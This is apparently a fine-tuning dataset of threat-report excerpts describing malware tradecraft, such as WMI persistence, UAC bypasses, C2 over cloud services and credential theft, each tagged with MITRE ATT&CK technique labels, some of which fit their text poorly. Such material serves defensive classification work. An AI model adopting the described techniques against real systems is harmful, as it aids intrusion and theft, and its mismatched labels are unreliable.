"POSHSPY makes the most of using built-in Windows features – so-called “living off the land” – to make an especially stealthy backdoor. POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI. Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious code execution can only be identified through enhanced logging or in memory. The backdoor's infrequent beaconing, traffic obfuscation, extensive encryption and use of geographically local, legitimate websites for command and control (C2) make identification of its network traffic difficult. Every aspect of POSHSPY is efficient and covert",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"The attack typically begins with an attempt – most probably via a spearphishing email – to lure the intended victim into running the malicious dropper, which is attached to the email. In order to increase the likelihood that the unsuspecting victim will actually click on it, the malicious executable masquerades as a document or spreadsheet by displaying a fake icon","['T1566.001 - Phishing: Spearphishing Attachment', 'T1204.002 - User Execution: Malicious File']",fine_tune
"From the main function, the malware invokes a function named eiht_get_update. This function attempts to read a remote file (ret.txt) from andrewka6.pythonanywhere.com that contained the address of the remote command and control server. If that failed, the malware would default to using the hard-coded (albeit encrypted) IP address 167.71.237.219. In order to gather information about the infected host, it invokes a function named: ei_get_host_info …which in turn invokes various macOS APIs such as getlogin and gethostname",['T1620 - Reflective Code Loading'],fine_tune
"It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language",['T1082 - System Information Discovery'],fine_tune
"On February 12, 2018 at 16:45 (all times are in the organization’s local time), an email was sent to the organization advertising a job vacancy at an American global service provider. The email contained a malicious link to hxxp://mynetwork.ddns[DOT].net:880",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"Figure 3 outlines the architecture of Crutch version 3. It includes a backdoor that communicates with a hardcoded Dropbox account using the official HTTP API. In some variants, we noticed the presence of recovery C&amp;C channels using either GitHub or a regular domain",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Loader Trojan The payload dropped to the system by the macro is an executable that is responsible for installing and executing a dynamic link library (DLL) to the system. The loader has several coding features that make it interesting. Upon execution, the loader will decrypt the embedded payload (DLL) using a custom algorithm followed by decompressing it using the RtlDecompressBuffer API. This API is normally used for Windows drivers, but there is nothing to prevent a userland process from using it, and the parameters are documented on MSDN. The compression algorithm used is LZNT1 with maximum compression level. The payload is decrypted using a starting 10-byte XOR key of: 0x3950BE2CD37B2C7CCBF8. The payload is in the loader at file offset: 0x19880 - 0x1F23C size of 0x59BD. The payload can be decrypted and decompressed with the following Python script",['T1027 - Obfuscated Files or Information'],fine_tune
"After analyzing the final payload, we determined the winner was… a Remote Administration Tool, which we have named ROKRAT. The address used in the email was 'kgf2016@yonsei.ac.kr' which is the contact email of the Korea Global Forum where the slogan in 2016 was ""Peace and Unification of the Korean Peninsula"". This fact gives more credit and legitimacy to the email. This file is decoded and finally an executable is launched: ROKRAT. This RAT has the added complexity that the command and control servers are legitimate websites. The malware uses Twitter and two cloud platforms, Yandex and Mediafire, apparently for both C2 communications and exfiltration platforms. Unfortunately, these platforms are difficult to block globally within organizations as their use can be viewed as legitimate in most cases. Additionally, these 3 platforms all make use of HTTPS connectivity, making it much more difficult to identify specific patterns or the usage of specific tokens",['T1102.002 - Bidirectional Communication'],fine_tune
"Skip to main content . We use optional cookies to improve your experience on our websites, such as through social media connections, and to display personalized advertising based on your online activity. If you reject optional cookies, only cookies necessary to provide you the services will be used. Using reg to configure the registry of remote computers limits the parameters that you can use in some operations. Check the syntax and parameters for each operation to verify that they can be used on remote computers . In this article","['T1112 - Modify Registry', 'T1012 - Query Registry']",fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. MSGet typically downloads encoded binaries from hard-coded URLs. DGet — This simple downloader (see Figure 4) is similar to the wget web server retrieval tool. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
All the network parameters are stored in the sample and can be easily updated by the author. The CnC is a web server: http://camilleoconnell[.]website The network communication is performed in HTTP. The malware uses an hardcoded User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) To register a new infected system the malware perform a POST request to /api/white_walkers/new with data on the compromised system consisting of,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
The SodomMain module is LookBack malware’s remote access Trojan module that can send and receive numerous commands indicative of its function as a RAT. The malware is delivered within the encoded data that is received by the SodomNormal module as part of its initial beacon response. It then runs within the SodomNormal module and uses its “send_data” function for C&amp;C communications,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - Screen Capture Tool— This tool can capture the desktop of a victim's system (see Figure 5). Figure 5. Screen Capture Tool usage. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. WinRAR — This tool extracts tools for lateral movement and compresses data for exfiltration. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. Install a background monitor tool (e.g",['T1113 - Screen Capture'],fine_tune
"The shellcode then creates a string that it uses to create a registry key to automatically run the final payload each time the system starts. It then opens the registry key 'Software\Microsoft\Windows NT\CurrentVersion\Winlogon' and sets the value to the ""Shell"" subkey to the previously created string. Ultimately, the following registry key is created for persistence","['T1547.014 - Active Setup', 'T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL']",fine_tune
"We at Team Nautilus detected and analyzed the Docker Hub account hildeteamtnt, which was used by TeamTNT to store their malicious images. Also, ‘minerescape’ contained a shell script executing a Python file - minedaemon.py. Using a web service (iplogger[.]org) to transmit collected data to the attacker during the discovery process, for instance, the number of cores in the CPU, its speed, system details (using uname -a), and targeted host IP address. Logging the activity and encoding it into files (using Base64). The script sbs.sh: - Downloading 00.jpg (as /usr/bin/dns_ipv4.tar.gz) which is the file /usr/bin/bioset. Creating a child process that listens to the socket and communicates with the father using a method called ‘Named PIPE’ (also known as FIFO). The father is responsible for deciphering messages and writing it back to the child on the PIPE. Creating a child process that listens to the socket and communicates with the father using a method called ‘Named PIPE’ (also known as FIFO). - The father is responsible for deciphering messages and writing it back to the child on the PIPE. Logging the activity and encoding it into files (using Base64). - Defense Evasion: Deleting command history. Logging the activity and encoding it into files (using Base64). Defense Evasion Techniques: Removing system logs (/var/log/syslog). Deleting command history. Logging the activity and encoding it into files (using Base64). - Defense Evasion Techniques: Removing system logs (/var/log/syslog). Deleting command history. Encoding many snippets with base64 (the same snippet may be encoded multiple times). To sum it up . Over four months, TeamTNT uploaded various images, with some being used to perform attacks in the wild",['T1027 - Obfuscated Files or Information'],fine_tune
"In September 2017, Proofpoint researchers detailed the history and ongoing activities of an actor we track as TA505. TA505 was behind many of the Dridex campaigns that plagued organizations in 2015 and introduced Locky ransomware in 2016, bringing unprecedented scale to malicious spam distribution. Since we wrote our original TA505 profile, the actor has continued to explore the use of new malicious attachments and new payloads. In 2018, though, the scale and regularity of their campaigns decreased, while the diversity of payloads has increased. Given the importance of this actor in the email threat landscape we wanted to revisit our profile and update it with the latest activity from TA505",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Remember, Downadup/Conficker spread so widely because so many computers simply did not have a simple security patch, released months before the infections ever started, applied. Weafer ). - Use a robust security software suite that has multiple layers of protection. Even patched systems are continuing to become infected with the .A and .B variants. In many instances, this is occurring because the worm is being passed on via infected removable media, such as USB thumb drives, that are essentially acting as host carriers. Need to Know) - Use caution when opening attachments and accepting file transfers. Use caution when clicking on links to Web pages. Use strong passwords",['T1091 - Replication Through Removable Media'],fine_tune
"FIN6 used encoded PowerShell commands to install Cobalt Strike on compromised systems. The attacker made use of Cobalt Strike’s “psexec” lateral movement command to create a Windows service named with a random 16-character string on the target system and execute encoded PowerShell. In some cases, the encoded PowerShell commands were used to download and execute content hosted on the paste site hxxps://pastebin[.]com","['T1102 - Web Service', 'T1569.002 - System Services: Service Execution']",fine_tune
"At this point, the script establishes an HTTP connection to the C2 server. If the server response is comprised only of the same GUID that the malware sent, the script deletes itself. In the case of the second-stage script from Variant A, the script deletes the registry key where it is installed. In the case of Variant C, the script deletes the file from which it is running. If instead the server responds with any data other than the GUID, the second-stage script decrypts the data and saves it as a file","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1070 - Indicator Removal on Host']",fine_tune
"Since the original publication of this approach, Proofpoint researchers have observed a number of actors -- “early adopters” -- abusing this file format by embedding it inside Microsoft Word and PDF documents. While the combination of the technique with the Microsoft Word container was described in the initial research, embedding inside PDFs has not been documented and likely originated with another source","['T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File']",fine_tune
"Then extract the image file ""image1.jpeg"" contained in the document. Find the special logo in the picture data, decode the subsequent steganographic PE data, release the randomly named .exe in the %ALLUSERSPROFILE% directory and run it",['T1027.003 - Steganography'],fine_tune
Enables remote login - Enables screen sharing - Configures remote login permissions for the user - Allows remote login to all - Enables a hidden “root” account in macOS and sets the password specified in the Trojan code,['T1569.001 - System Services: Launchctl'],fine_tune
"The persistence is done during the first execution of the malware using a well-known technique, the “Logon scripts”. It creates a script file registration.bat and writes several strings from the TForm1 object. The final script is",['T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)'],fine_tune
"The backdoor starts by collecting basic information about the victim’s machine and calculating a 4-byte long victim identifier, based on the user-name, computer-name and the domain name of the target environment",['T1082 - System Information Discovery'],fine_tune
"To install Weave Scope on the server the attackers use an exposed Docker API port and create a new privileged container with a clean Ubuntu image. The container is configured to mount the file system of the container to the filesystem of the victim server, thus gaining the attackers access to all files on the server. The initial command given to the container is to download and execute several cryptominers",['T1611 - Escape to Host'],fine_tune
"Watering holes - Weaponized documents exploiting the Dynamic Data Exchange (DDE) method - Weaponized documents exploiting the CVE-2018-0798 vulnerability in Equation Editor - Exploitation of the CVE-2019-0604 vulnerability in Sharepoint - Supply chain attack that compromises a chat software installer, Able Desktop - Exploitation of recent vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) in Microsoft Exchange Server","['T1195.002 - Compromise Software Supply Chain', 'T1190 - Exploit Public-Facing Application']",fine_tune
"This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. Here is an example of code similarities on the execution via named pipe function. On the left a sample from Bisonal 2014 and on the right Bisonal 2011",['T1105 - Ingress Tool Transfer'],fine_tune
"Despite the simplicity of most of their tools, the Gamaredon group also is capable of deploying some novelty, such as their Outlook VBA module. However, as it is far from stealthy, in the long run it is no match for a capable organization. The variety of tools Gamaredon has at its disposal can be very effective at fingerprinting a machine and understanding what sensitive data is available, then spreading throughout the network",['T1025 - Data from Removable Media'],fine_tune
The communication between the malware and the server is based on the HTTP protocol and slightly varies between the samples. Every few seconds the backdoor sends a POST request to the C&amp;C URL. The result is encrypted and sent back to another URL on the server as the parameter of a POST request,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Check for blocklisted usernames and computernames: The implant concatenates the username and computer it acquires from the infected endpoint's environment variables. This string is then checked against a list of blocklisted values to determine if the implant should continue execution or exit out. Check for blocklisted process names: The following process names are blocklisted and if found running on the system, the RAT implant will simply exit. The blocklist consists of processes belonging to Virtual Machine software (such as VMWare) and analysis tools (such as ProcessHacker etc","['T1033 - System Owner/User Discovery', 'T1057 - Process Discovery', 'T1082 - System Information Discovery', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks']",fine_tune
It also creates a unique system specific identifier that it will use during the C2 communications to send and receive messages. The system specific identifier is a 16 character string that the Trojan creates using the serial number of the C volume and the first 4 hexadecimal bytes from Environment.UserName,['T1071.003 - Mail Protocols'],fine_tune
"This document uses KernelCallbackTable as well to hijack the control flow just like our first module, the injection technique used by the shellcode also resembles the first document. The major difference in this document is that it tries to retrieve a remote HTML page and then executes it using mshta.exe. The remote HTML page is located at https[:]//markettrendingcenter[.]com/member.htm and throws a 404 Not Found which makes it difficult for us to analyze this document any further",['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"2) Download the OpenSSL library. Instead of saving the downloaded file, QakBot measures the download speed and deletes the received file",['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],fine_tune
This script is executed and is used to decode a static base64 string within the strEncode variable. Using base64 encoding the decoded binary is stored as HncModuleUpdate.exe and is then executed. This specific resource contains malicious shellcode used by the malware. These execution steps allow the launch of the new ROKRAT variant by decoding the PE binary and injecting into the cmd.exe process,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The malicious attachment was a simple PE file (SHA256: 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63) with the filename &lt;redacted&gt; Technical Services.exe. Its sole purpose here is to install the QUADAGENT backdoor and execute it. Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails",['T1204.001 - Malicious Link'],fine_tune
"From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality. Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more. However, our current analysis shows no way for such code to be executed","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1070.001 - Indicator Removal on Host: Clear Windows Event Logs']",fine_tune
"BackdoorDiplomacy is a group that primarily targets diplomatic organizations in the Middle East and Africa, and less frequently, telecommunication companies. Their initial attack methodology is focused on exploiting vulnerable internet-exposed applications on webservers, in order to drop and execute a webshell. Post compromise, via the webshell, BackdoorDiplomacy deploys open-source software for reconnaissance and information gathering, and favors the use of DLL search order hijacking to install its backdoor, Turian. Finally, BackdoorDiplomacy employs a separate executable to detect removable media, likely USB flash drives, and copy their contents to the main drive’s recycle bin",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
It will use an auto-run registry (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run) named AdobeMX that will execute PowerShell to load the encoded executable via reflective loading (loading an executable from memory rather than from the system’s disks,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Change file owner and group. This utility is used by malware to change the user ID and/or the group ID of the specified files. This can lock other users’ out of access to the file, thus hampering removal or inspection. It may also be required in order to execute a file in certain, elevated context",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
The iContact binary appears to be a backdoor that gathers user and locale data and engages in encrypted communications with a C2 server over TCP. Functionality includes sending and receiving files and running custom commands such as scanning a directory and deleting files,['T1005 - Data from Local System'],fine_tune
"Overview of discovered Ramsay versions . Malicious documents dropping Ramsay version 1 . This attack vector consists of malicious documents exploiting CVE-2017-0199 intended to drop an older version of Ramsay. Based on the low complexity of the Ramsay agent delivered, the threat actors may be embedding this specific instance within these malicious documents for evaluation purposes. Even though affected documents will be modified, it won’t impact their integrity; each affected Word document remains fully operational after artifact appending has taken place. First, Ramsay looks for Word documents and also, in more recent versions, for PDFs and ZIP archives: Figure 13. Hex-Rays output of spreader scanning routines . It is important to notice that there is a correlation between the target drives Ramsay scans for propagation and control document retrieval. File structure changes during an infection and execution . All of the different artifacts involved in the infection stage are either within the context of the spreader or dropped previously by another Ramsay component. This information will be contained within all logged information Ramsay collects and may be leveraged by operators in order to do further lateral movement over the network in a later stage via a different channel. Some of Ramsay and Retro filename convention . Is important to highlight that among Retro’s documented techniques, it leverages malicious instances of msfte.dll, oci.dll and lame_enc.dll, and via Phantom DLL Hijacking. As previously documented, Ramsay also uses this technique in some of its versions also using msfte.dll and oci.dll. Finally, we noticed Korean language metadata within the malicious documents leveraged by Ramsay, denoting the use of Korean-based templates",['T1027 - Obfuscated Files or Information'],fine_tune
"When G-Data published on Turla/Uroburos back in February, several questions remained unanswered. One big unknown was the infection vector for Turla (aka Snake or Uroburos). Our analysis indicates that victims are infected via a sophisticated multi-stage attack, which begins with the Epic Turla. In time, as the attackers gain confidence, this is upgraded to more sophisticated backdoors, such as the Carbon/Cobra system. Sometimes, both backdoors are run in tandem, and used to “rescue” each other if communications are lost with one of the backdoors","['T1124 - System Time Discovery', 'T1057 - Process Discovery', 'T1049 - System Network Connections Discovery', 'T1018 - Remote System Discovery']",fine_tune
"Thursday, April 16, 2020 . PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors . News summary . - Azerbaijan government and energy sector likely targeted by an unknown actor. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. Afterward, it copies 7,074,638 bytes from the end of the file and writes the remaining bytes back to the disk. One, called ""frown.py,"" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143. For each FTP usage, the credentials are provided by the C2 server during the request. Start routine The communication between the scripts is done via a file called ""Abibliophobia23"" Commands and results are written into the file using a custom encryption scheme. The binary uses a file system watcher in order to generate an event each time a file is modified in one of the directories in the ""Paths"" variable of the configuration file. Filesystem monitoring routine Once a file is available, the Dog.exe binary exfiltrates it, using email or FTP depending on the configuration. Additional tools . During our investigation, we identified a couple of additional tools mainly in Python and compiled for Windows: - Klog.exe: A keylogger using an output file called ""System32.Log. Tre.py"": A script used to create the file with the files/directories tree",['T1105 - Ingress Tool Transfer'],fine_tune
"This is an application document that has been used to provide a decoy to the Bisonal malware. This conference has some high-ranking government and business attendees. In 2019, a Russian RTF document — судалгаа.doc (research.doc) — was used with an exploit to drop the winhelp.wll file, which contains Bisonal. Based on our research and the released paper mentioned above, the Bisonal malware is part of the Tonto Team arsenal. Tonto Team was mentioned in the media in 2017 as one of the actors who targeted South Korea, when the country announced it would deploy a Terminal High-Altitude Air Defense (THAAD) in response to North Korean missile tests. At this time, researchers connected the Tonto Team to China",['T1203 - Exploitation for Client Execution'],fine_tune
"Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares. If the obtained valid account is already member of the domain admins group, the first lateral move in the network is usually to a domain controller where the adversary also deploys a Cobalt Strike beacon. Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon. If the victim’s network contains other Windows domains or different network security zones, the adversary scans and finds the trust relationships and jump hosts, attempting to move into the other domains and security zones","['T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1018 - Remote System Discovery']",fine_tune
"The first of FIN7's new tools is BOOSTWRITE – an in-memory-only dropper that decrypts embedded payloads using an encryption key retrieved from a remote server at runtime. FIN7 has been observed making small changes to this malware family using multiple methods to avoid traditional antivirus detection, including a BOOSTWRITE sample where the dropper was signed by a valid Certificate Authority. One of the analyzed BOOSTWRITE variants contained two payloads: CARBANAK and RDFSNIFFER. While CARBANAK has been thoroughly analyzed and has been used maliciously by several financial attackers including FIN7, RDFSNIFFER is a newly-identified tool recovered by Mandiant investigators",['T1553.002 - Code Signing'],fine_tune
"TA505 has also recently used LOLbins and legitimate Windows OS processes to perform malicious activities and deliver a payload without being detected. As the entry point of an attack, it delivers a sophisticated email containing a malicious Excel or Word file",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"Security Intelligence . Topics . Tricks of the Trade: A Deeper Look Into TrickBot’s Machinations . TrickBot is a new banking Trojan. An Unusual Man-in-the-Browser Technique . Nowadays, most modern financial malware families are capable of injecting malicious code into ongoing browser sessions (e.g. For this purpose, and much like other advanced banking Trojans, TrickBot deploys a browser-hooking engine designed to intercept communications to and from the victim’s internet browser. With the real-time fetching trick, the malicious code injections themselves are kept securely on the attacker’s server, not in a file on the victim’s endpoint. 7) Finally, TrickBot’s financial module replaces the original response that would normally come from the bank with the C2’s response, and the injected page is displayed on the victim’s end. The actor can turn the webinjections on or off on the fly, easily modify the injections and then push an update to some or all the infected victims instantaneously. Figure 2: TrickBot’s Server Side Web-Injects — Top Level Flow. Figure 5: TrickBot and Dyre both use “sourcelink” and “sourcequery” for their communications. TrickBot passes the target URLs list to its financial module, which is injected into the browser using pipes communication. A redirection attack, in short, means that instead of injecting malicious code into the original webpage, the victim is now redirected to a new site forged by the fraudsters",['T1185 - Browser Session Hijacking'],fine_tune
"No exploits were used, so the victim would have to manually execute the malware dropper, which pretends to be an Adobe Flash installer. However, our analysis confirmed that Bad Rabbit uses the EternalRomance exploit as an infection vector to spread within corporate networks","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1204.002 - User Execution: Malicious File']",fine_tune
"The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. Once decoded, the configuration contains the data shown in Figure 5 below",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The formula uses a command prompt to run a PowerShell script that attempts to download and execute a second PowerShell script hosted at the URL hxxp://micrrosoft[.]net/winupdate.ps1. By default, Excel will not launch the command prompt application, but will do so with the user’s consent via the following dialog box in Figure 3","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
the malicious DLL installed as a Print Processor) is stored as a file on disk; the modules are stored in the registry by the installer (from the CrLnc.dat file) and are described in Table 6,['T1547.012 - Boot or Logon Autostart Execution: Print Processors'],fine_tune
"More specifically, Ramsay looks for any of two given encoded Hardware Profile GUIDs. One of these GUIDs is hardcoded as shown in Figure 14, while the other is dynamically generated based on the compromised victim’s machine. If any of the subject identifiers are found, parsing for a command signature will be attempted",['T1082 - System Information Discovery'],fine_tune
"Then, it drops C:\Users\Public\x.vbs. Then it drops, C:\Users\Public\Natso.bat. Then, it executes `Natso.bat`, which is a ""fileless"" UAC bypass found by James Forshaw. If C:\Windows\Finex still doesn't exist (which means the UAC bypass failed), it will update the Nasto.bat and execute it using the code shown below. This is another UAC bypass technique based on fodhelper.exe. On our test machine, the last bypass was successful, and `C:\Windows\Finex` was successfully created. After that, the DLL deletes the dropped file and exits",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable",['T1574.007 - Path Interception by PATH Environment Variable'],fine_tune
"As covered above, the attacker dropped two files: Chaos and Client. Chaos is the backdoor that enables the reverse-shell and Client is needed to initiate the connect-back from chaos","['T1573.001 - Symmetric Cryptography', 'T1059.004 - Command and Scripting Interpreter: Bash']",fine_tune
"Turla has many names in the information security industry — it is also known as Snake, Venomous Bear, Uroburos and WhiteBear. Turla likes to use compromised web servers and hijacked satellite connections for their command and control (C2) infrastructure. In some operations, they also do not directly communicate to the C2 server. Instead, they use a compromised system inside the targeted network as a proxy, which forwards the traffic to the real C2 server. Well-known malware like Crutch or Kazuar are attributed to Turla. Lately, we have also seen research that has shown potential links between the Sunburst backdoor and Turla. Not every campaign run by Turla can clearly be attributed to them",['T1584.004 - Server'],fine_tune
Create processes - Write responses from the control server to a file - Send information for all drives - Write data sent by the control server to a temporary file matching the file path pattern %temp%\DWS00* - Change the time of a file as specified by the control server,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"Something that makes Kobalos unique is the fact that the code for running a C&amp;C server is in Kobalos itself. Any server compromised by Kobalos can be turned into a C&amp;C server by the operators sending a single command. As the C&amp;C server IP addresses and ports are hardcoded into the executable, the operators can then generate new Kobalos samples that use this new C&amp;C server",['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"Finally, the command: system_profiler SPHardwareDataType 2&gt;/dev/null || awk ‘/Boot ROM Version/ {split($0, line, “:”);printf(“%s”, line[2]);} checks if the machine is one of the following: “MBP”, “MBA”, “MB”, “MM”, “IM”, “MP” and “XS”. These codes represent the model of the system. For instance, “MBP” stands for MacBook Pro, “MBA” stands for MacBook Air and so on",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"Whenever winword makes any graphical call, the shellcode executes. This technique to hijack control flow has also been used by other sophisticated attackers such as FinFisher. Lazarus has also used other novel methods to execute shellcode such as by using the function EnumSystemLocalesA as a callback to shellcode written to executable heap","['T1140 - Deobfuscate/Decode Files or Information', 'T1574.013 - KernelCallbackTable', 'T1620 - Reflective Code Loading']",fine_tune
"X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. ChinaChopper web shell. shown in Figure 4, are required to interact with the web shell",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
WINEKEY maintains persistence through reboot via the use of registry RUN keys. Searching for anomalous RUN keys enterprise-wide can help to identify systems impacted by this malware,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"This specific module appears to have been put together from public sources with some added functionality from the attackers. Perhaps the most interesting part here is the unusual command and control mechanism based on TCP/UDP packets, as well as the C&amp;C hostname which fits previously known Turla activity",['T1205 - Traffic Signaling'],fine_tune
"The domain fabianiarte.com (fabianiarte.it) was compromised to host backend server code and malicious DOTM files. This domain hosted DOTM files that were used to mimic defense contractors’ job profiles as observed in Operation North Star, but the domain also included some rudimentary backend server code that we suspect was used by the implant. According to our analysis of this cache of data this site was compromised to host code on 7/9/2020",['T1584.001 - Domains'],fine_tune
More interesting however is it that it also contains support for windows execution via smb shares and IPC. The sample also has a Windows version of the malware embedded inside that it can install on remote windows shares and then execute as a service,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"One for 32-bit and the other for 64-bit, which download an updated version of the loader. The main difference between the two loops is that in case of a Windows x64 infection, there is no check of the loader’s version",['T1082 - System Information Discovery'],fine_tune
"It drops ransom notes at various folders in the system and opens one after it has encrypted the data and documents of the victim. As with usual ransomware, it does this to extort money from the victim in exchange for the decryption of their files",['T1486 - Data Encrypted for Impact'],fine_tune
"Cobalt is one of the most notorious cybercrime operations, with attacks against more than 100 banks across 40 countries attributed to the group. Morphisec Labs believes that the Cobalt Group split following the arrest of one of its top leaders in Spain in March of 2018. While Cobalt Gang 1.0 uses ThreadKit extensively, Cobalt 2.0 adds sophistication to its delivery method, borrowing some of the network infrastructures used by both APT28 (aka Fancy Bear) and MuddyWater. One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor, was investigated and presented by the Talos research team. Cobalt Group Technical Details . Stage 1 - Word Macro + Whitelisting Bypass . As with many other campaigns, the victim received a document with malicious macro visual basic code. Although the code is heavily obfuscated, the entry point is easily identifiable. The VB code is executed starting from the Frame1_Layout function – this method is used much less frequently than the obvious Document_Open or the AutoOpen. Such a combination of registry manipulation was reported a year ago as part of an attack campaign executed by the Cobalt Group against Ukrainian banks. As part of the last execution step of the dll, the malicious code writes a JavaScript scriptlet into the Roaming directory and then it executes CreateProcess on the regsvr32 as described by the UserInitMprLogonScript. Organizations should expect to see much more coming from all Cobalt Group factions during the next year",['T1027 - Obfuscated Files or Information'],fine_tune
Establish persistence for itself on the endpoint - Establish persistence of another component of the malware on the endpoint - Update itself on endpoint after a separate updater component downloads the update from the control server,"['T1070.004 - Indicator Removal on Host: File Deletion', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"Regularly, the service checks if a user is logged, by checking if Explorer is running. Once explorer.exe is running, the service configures the environment and executes the C2 contact module: winprint32.exe",['T1057 - Process Discovery'],fine_tune
"The sample collects the user information including current processes, installed software, system language and time zone. The harvested credentials and user information are then sent back to the C2. Here are some highlights about system information stealing",['T1124 - System Time Discovery'],fine_tune
"Passgrabber module – collects logins and passwords from various sources: Firefox and Chrome files, Microsoft Vault storage, etc. Instead of using Mimikatz as in previous versions, the module collects passwords using its own algorithms",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
